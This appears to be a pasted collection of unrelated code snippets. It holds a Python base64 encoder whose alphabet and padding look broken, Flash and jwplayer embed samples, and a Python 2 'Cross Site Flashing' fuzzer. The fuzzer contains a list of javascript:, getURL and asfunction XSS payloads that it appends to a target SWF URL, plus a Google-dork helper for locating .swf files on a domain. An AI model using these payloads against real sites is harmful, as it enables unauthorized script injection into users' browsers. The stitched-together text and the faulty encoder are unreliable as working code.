#!/usr/bin/python

def base64encode(encode):
	s = encode
	keys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
	out = ""
	nums = 0
	i = 0
	while (i<len(s)):
		if nums == 6:
			out += keys[ord(s[i - 1]) & 63]
			out += keys[ord(s[i]) >> 2]
			nums = 2
		else:
			chr1 = ord(s[i - 1]) & (2 ** nums - 1)
			chr2 = ord(s[i]) >> (nums + 2)
			chrt = (chr1 << (6 - nums)) | chr2
			out += keys[chrt]
			nums += 2
		i = i + 1
	if nums != 0:
		out += keys[(ord(s[len(s) - 1]) & (2 ** nums - 1)) << (6 - nums)]

	return out

print base64encode("Base64 This")

<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
 <param name="movie" value="somefilename.swf">
 <param name="FlashVars" value="var1=val1&var2=val2">
 <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>

jwplayer("myElement").setup({
  file: "myVideo.mp4",
  skin: "bekle"
});

#!usr/bin/python

import sys
import webbrowser

END = "\033[0m"
blue = "\033[0;34m"
red = "\033[1;91m"


payloads = ['#javascript:alert(/XSFF/)','#http://seguridadblanca.in','#getURL(javascript:alert(/XSFF/))','#getURL(http://seguridadblanca.in)','#getURL,javascript:alert(/XSFF/)','#getURL,http://seguridadblanca.in','?javascript:alert(/XSFF/)','?http://seguridadblanca.in','?getURL(javascript:alert(/XSFF/))','?getURL(http://seguridadblanca.in)','?getURL,javascript:alert(/XSFF/)','?getURL,http://seguridadblanca.in','?clickTAG=javascript:alert(/XSFF/)','?clickTag=javascript:alert(/XSFF/)','?clickTag=http://seguridadblanca.in','?clickTAG=http://seguridadblanca.in','?url=javascript:alert(/XSFF/)','?url=http://seguridadblanca.in','?uri=javascript:alert(/XSFF/)','?uri=http://seguridadblanca.in','?URL=javascript:alert(/XSFF/)','?URL=http://seguridadblanca.in','?URI=javascript:alert(/XSFF/)','?URI=http://seguridadblanca.in','?baseurl=asfunction:getURL,javascript:alert(1337)//",','?base=javascript:alert(/XSFF/)','?base=http://seguridadblanca.in','?debug=alert(/XSFF/)','?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(/XSFF/);//','?skinName=asfunction:getURL,javascript:alert(1337)//','?onend=javascript:alert(1337)//','?imageURL=javascript:alert(/XSFF/)','?imageURL=" onerror=prompt(/XSFF/)','?callback=javascript:alert(/XSFF/)','?callback=http://seguridadblanca.in','?page=javascript:alert(/XSFF/)','?page=http://seguridadblanca.in','?buyNowUrl=javacript:alert(/XSFF/)','?id=0\%22))}catch(e){alert(1337)}//']


def helpyeah():
	print "__ __ __  ___  ___" 
	print "\ V // _|| __|| __|"
	print " ) ( \_ \| _| | _| " 
	print "/_n_\|__/|_|  |_| \n"
	print red + "Hi bro/sis :) Usage is: " + sys.argv[0] + " Option \n \n"
	print "Print Options:\n"
	print "dorksite - This Option will search for .swf files in the domain"
	print "flashsite - Will Fuzz for XSF" + END 



def checkoption():

	if sys.argv[1].lower() == "dorksite":
		dorksite()
	elif sys.argv[1].lower() == "flashsite":
		xsfyeah()
	else:
		helpyeah()


def xsfyeah():
	uri = raw_input("Input the URL: Ex. http://seguridadblanca.in/vuln.swf\n")
	fout = open("xsff.html", "w")	
	fout.write("<center><h1>Cros Site Flashing Fuzzer</h1> By <a href=\"http://twitter.com/seguridadblanca\">Dedalo</a></center><br />")
	for url in payloads:
		op = "<a href=\"" + uri + url +"\">" + url + "</a><br />" 
		fout.write(op)
	print blue + "Check xsff.html for clicking fuzz!!"
	print "Thanks for using XSFF"
	print ""
	print "__ __ __  ___  ___" 
	print "\ V // _|| __|| __|"
	print " ) ( \_ \| _| | _| " 
	print "/_n_\|__/|_|  |_| " + END
		

def dorksite():

	domain = raw_input("Input the domain: Ex. seguridadblanca.in\n")
	d1 = "site:" + domain + " filetype:swf"
	d2 = "site:" + domain + " inurl:player.swf"
	webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d1)
	webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d2)
	

if len(sys.argv) < 2:
	helpyeah()
else:
	checkoption()